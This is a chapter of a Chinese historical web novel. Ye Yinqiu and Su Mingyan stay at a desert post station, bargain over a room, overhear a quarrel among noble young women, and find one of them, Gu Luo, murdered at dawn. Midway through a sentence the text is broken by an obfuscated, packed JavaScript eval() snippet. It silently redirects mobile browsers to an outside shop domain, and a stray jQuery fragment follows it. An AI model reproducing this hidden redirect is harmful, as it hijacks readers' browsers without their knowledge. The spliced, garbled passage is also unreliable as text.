驿站虽地处荒漠,却是去尧城的近道必经之处。朔州已入秋,这里却炎热异常。
来往的旅客确实很多,刚出日的时刻,门外便来了许多新客。
一辆简陋的马车停在门前,出来的是一位面容端庄动人的女子,举止投足间姿态优雅、从容大方。只是身体瞧这弱不经风。
“看来是大户人家的小姐。”
苏明言闻言却未细看楼下新进来的女客,他看向对面刚恢复生气的叶银秋。面容还有些苍白,已卸掉脸上的灰土,容貌姣好,颜色皎白,比之方才的那位女子有过之而无不急。
被苏明言瞧着,叶银秋倒是有些不自在。
似是知道叶银秋心里所想,苏明言将一把弯刀交到叶银秋手中,缓解了叶银秋的尴尬。
接过弯刀,这才发现,弯刀已被人清洗过,上面斑驳的血迹已经瞧不见了。刀鞘还保留了原先的皮刀鞘,只是增加了一条绑绳,可以固定在腰间。
“多谢。”叶银秋将弯刀拴在腰间。
苏明言端坐在对面,叶银秋瞧不出他在想什么。
“是苏某未料到姑娘的处境。这把弯刀姑娘应该用得最为熟悉,便让幼涟替你取来,本想着过几日再交给你,却不料他们来得如此快。”苏明言语气带着歉意。
“不管如何,多谢你将这把弯刀替我取来。”
那日遇袭,柳长芸和他的谈话,叶银秋并非没有戒心,只是能感受到苏明言对她没有敌意,同时也意识到苏明言并非是为兄长复仇,还另有目的。
不过,想要活下去,就不能事事追究。
“姑娘的书还有那些工具,我让幼涟给姑娘装在包裹里了,当时来不及取出,这两日才有机会取来。”
想到那《无名冤录》和仵作工具,叶银秋睫毛微微颤动,那老头留下了些东西,也算不枉此生。
“如今你我算是共患难过了,也算是生死之交了吧,苏某却还未得知姑娘的名字。”
说来也是,相识几日,变故太大,竟然还未告知名字。
“我姓叶,叫叶银秋。银子的银,秋天的秋。”
“叶银秋……”倒是同他从街坊中了解的不同。不过,瞧她的神色,这应当是她的真名,与他人口中的翠丫不同。
不知他派去查探的人,可有消息。
叶银秋瞧间苏明言神色淡然,倒是全然对她不好奇。大概只是想知道她的名字。
身旁的幼涟端上汤药,温度刚好合适,叶银秋皱着眉头,闭着气,一口喝下。这药真是苦到心里了,叶银秋心想。手中多了块蜜饯,她抬头,是苏明言瞧间了她的苦相给她的。
叶银秋将蜜饯塞进口中,倒是甜甜的蜜饯在口中将苦药压住,好上许多。
“谢谢。”
“这是这后一碗,不必再喝药了。”苏明言这话倒是让她宽慰了不少。
说到遇袭那日,幼涟重伤,却恢复得比她还快。幼涟步履倒是稳健得很。
那日过后,追兵一个没来,念着叶银秋伤势,苏明言决定在驿站休整两日,再出发动身尧城。
“如今我已大好,这两日虽说追兵没来,但以防万一,咱们还是尽快动身为好。”说来也奇怪,这几日衙差们迟迟未来。叶银秋如此提议,亦是防止多生变故。
“不急。”苏明言微饮杯中茶,不急不缓开口。
难道这几日里,苏明言还未在驿站找到想要的东西。
“嘶……”自那日脖子伤到后,叶银秋的伤口已经好转,只是老是犯痒。
叶银秋右手正要去碰伤处,被苏明言拉住右手。
伤口处微凉,痒意瞬间消退。苏明言仔细给她上药,两人凑得有些近了,苏明言的呼吸,她能清晰的感受到。苏明言的眉眼修长疏朗,眼睛生得极漂亮,任谁瞧间都会陷进去。叶银秋耳根有些发痒,接着便红了起来,她左手捏紧弯刀,正要说话,一个声音打断了他们。
“打扰两位了,不知可否与两位商量一事?”说话的正是方才那位女子一同下车的老仆人。
苏明言放下药,转身坐下。
叶银秋清了清嗓子,说到:“何事?”
“老奴姓赵,是楼下那位小姐的管家。冒昧打扰二位是因为我家小姐身体不太好,询问掌柜,靠东边的客房已经没了。只是我家小姐实在受不得风,听闻您二位包下了东边的客房,便想着能否出让一间给我们。我家小姐愿意出三倍的房钱。”
大漠风从西北而来,东边的客房确实是受风最少的。
楼下的那位女子,身子孱弱。这位管家虽说换房的要求有些苛刻了,但态度也算有礼,还出了三倍房钱,不算太过冒昧。
“这房子既然已经被我们包下,你就应该知道我们不是缺钱的人。”叶银秋没想到苏明言会拒绝,毕竟赵管家的要求也不算过分。
“是老奴唐突,两位不答应也无妨。”赵管家态度诚恳,叶银秋倒是决定让给对方也是可以的。
“苏明言,不如……”未等叶银秋说完,苏明言打断她的话,开口到:“若是想让我们同意,不若交出样好东西,我们可以考虑考虑。”
难道苏明言知道了楼下小姐的身份?
那位管家面对要求也不动怒,看了眼身后的丫鬟,丫鬟便去告诉楼下的小姐。很快便有了回复。
“公子,我家小姐同意了。”
那位丫鬟呈上的是块玉石。叶银秋不懂这些,也能瞧出这块玉石不同寻常。
“幼涟,收拾一间客房出来。”苏明言收下玉石,便命令幼涟。
“多谢公子!”赵管家很是感激。
“不必,以物换屋,交易罢了。”
苏明言转言又道:“让你家小姐今夜小心些。”
“老奴会转告我家小姐的。”赵管家便带着丫鬟离去。
苏明言拿起药,凑近叶银秋,正要替她上药,却被她一把拦住。
“还是我自己来吧,这样太麻烦你了。”
苏明言顿了顿,将药放在叶银秋手中,坐了回去。
“方才你认出了那位小姐?”叶银秋转移话题。
“那是户部尚书张近之的嫡次子张承远的未婚妻,长荣将军之女谢锦绣。”苏明言清洌的嗓音印入耳中。
叶银秋对这些长城不是很了解,听罢也就罢了。
这是楼下传来争吵。
楼下争吵之人正是方才的那位柔弱小姐和柳长芸,还有一位瞧着长得艳丽漂亮,却飞扬跋扈的小姐。
瞧间柳长芸,苏明言带着叶银秋换了个隐蔽的位置。难道是遇袭那日两人产生了隔阂?
不过她倒是好奇,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150426|150309||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
柳长芸一介女子是如何在这个礼教森严的古代成为一名将军的。叶银秋向下看去,这里倒是听的更清楚了。
“我说了,我不要住这里!”此话正是那位艳丽漂亮的小姐。
“这里位置偏僻,出了驿站就只有大漠。你要是不怕狼群,我倒是可以跟你一起睡大漠。”柳长芸一袭军装,倒是和那日初见一样。柳长芸淡定地坐下,手却紧紧握住手中的长枪。
“谢锦绣不是在这儿吗,我要住你的房间!”那人如此嚣张,家世想必显赫。
“顾洛!”柳长芸一下,顾洛便只能奄奄地坐下。
“我只是看在你哥哥的面子才负责送你到尧城,若是你在这般惹是生非,接下来的路,你就自己的走吧。”
顾洛知道柳长芸的性子,她说的是真的。于是只能憋着,恶狠狠地盯着对面的谢锦绣。
“长芸,不过是换间房,这算什么大事。你也生气了。”谢锦绣声音温柔,只是气若游丝。
这谢锦绣是个好心肠的人。叶银秋这般想着,倒是有些倦意。苏明言察觉到此,开口到:“我想着明日便动身吧,你觉得如何?”
叶银秋清醒了些,看来苏明言要的东西已经拿到了。叶银秋往下瞧了瞧楼下的谢锦绣。
顾洛又争吵了起来。
“她不过就是个妓女生的,算什么好东西!也配和我住一屋!”顾洛这言语着实太难听了些。
“顾洛!”柳长芸也是忍不了一刻,将顾洛拖出了驿站。
“长芸,算了,她不过就是小孩子,你跟她计较什么?”谢锦绣倒是看不出有任何怨怒,还在给顾洛解释。
“她还小?我看就是你平日里你对她忍让惯了,照此以往,你还得被她折磨成什么样子?你身子不好,她又不是不知道!你同她睡一间房本就是你委屈了!”柳长芸为谢锦绣鸣不平。
“都是往后一家人,何必多生事端。”谢锦绣面色苍白,丫鬟扶着她坐下。
“谁跟你是一家!我可不会跟男子私相授受,私定终身。真不知道承先看上你什么了?”顾洛满嘴嘲讽,将谢锦绣的老底掀了个遍。
几人争吵间,叶银秋这才知道,原来两人都要嫁给户部尚书的儿子,只是顾洛要嫁的是户部尚书的嫡长子张承先,而谢锦绣要嫁的是嫡次子张承远。
“不若早些歇息,明早可早些出发?”苏明言发了话,叶银秋也有困意,便回了房间。
苏明言立在窗前,望向大漠,夜色下,大漠中留不下痕迹。
“回禀大人,属下查到,这枚玉佩极有可能来自京城,这等工艺,绝不是出自普通工匠之手。”
苏明言仔细观察手中玉佩,在夜色下晶银剔透,上面雕刻龙凤呈祥。上面残留的是根不全的红绳,只有半截。
若是叶银秋在这儿,定能认出,这玉佩就是苏明言口中他嫂子赠送的礼物。
“京城?”苏明言冷笑,“苏家有何动静?”
“未有异常。”
“继续盯着。”苏明言顿了顿,“将阿娘前些日子送的那盒白脂膏拿些来。”
这是……要送给那位姑娘?
“是。”
……
卯时,天还未大亮,店小二的惨叫声便响彻整个驿站。
顾洛惨死,被悬挂在门梁之上。